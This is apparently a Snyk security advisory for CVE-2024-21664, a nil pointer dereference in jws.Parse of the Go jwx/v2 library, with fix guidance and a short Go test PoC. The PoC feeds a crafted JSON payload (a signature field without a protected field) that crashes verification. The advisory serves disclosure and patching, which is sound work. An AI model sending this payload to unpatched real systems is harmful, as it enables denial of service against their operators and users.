NULL Pointer Dereference Affecting github.com/lestrrat-go/jwx/v2/jws package, versions <2.0.19
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-GOLANG-GITHUBCOMLESTRRATGOJWXV2JWS-6149443
- published10 Jan 2024
- disclosed9 Jan 2024
- creditfrestr
Introduced: 9 Jan 2024
CVE-2024-21664 (opens in a new tab)How to fix?
Upgrade github.com/lestrrat-go/jwx/v2/jws to version 2.0.19 or higher.
Overview
Affected versions of this package are vulnerable to NULL Pointer Dereference via the jws.Parse function when a JSON serialized payload contains a signature field without a corresponding protected field. An attacker can cause a denial of service for a system doing JWS verification by sending a crafted payload that triggers a nil pointer dereference.
PoC
package poc
import (
"testing"
"github.com/lestrrat-go/jwx/v2/jws"
)
func TestPOC(t *testing.T) {
_, _ = jws.Parse([]byte(`{"signature": ""}`))
}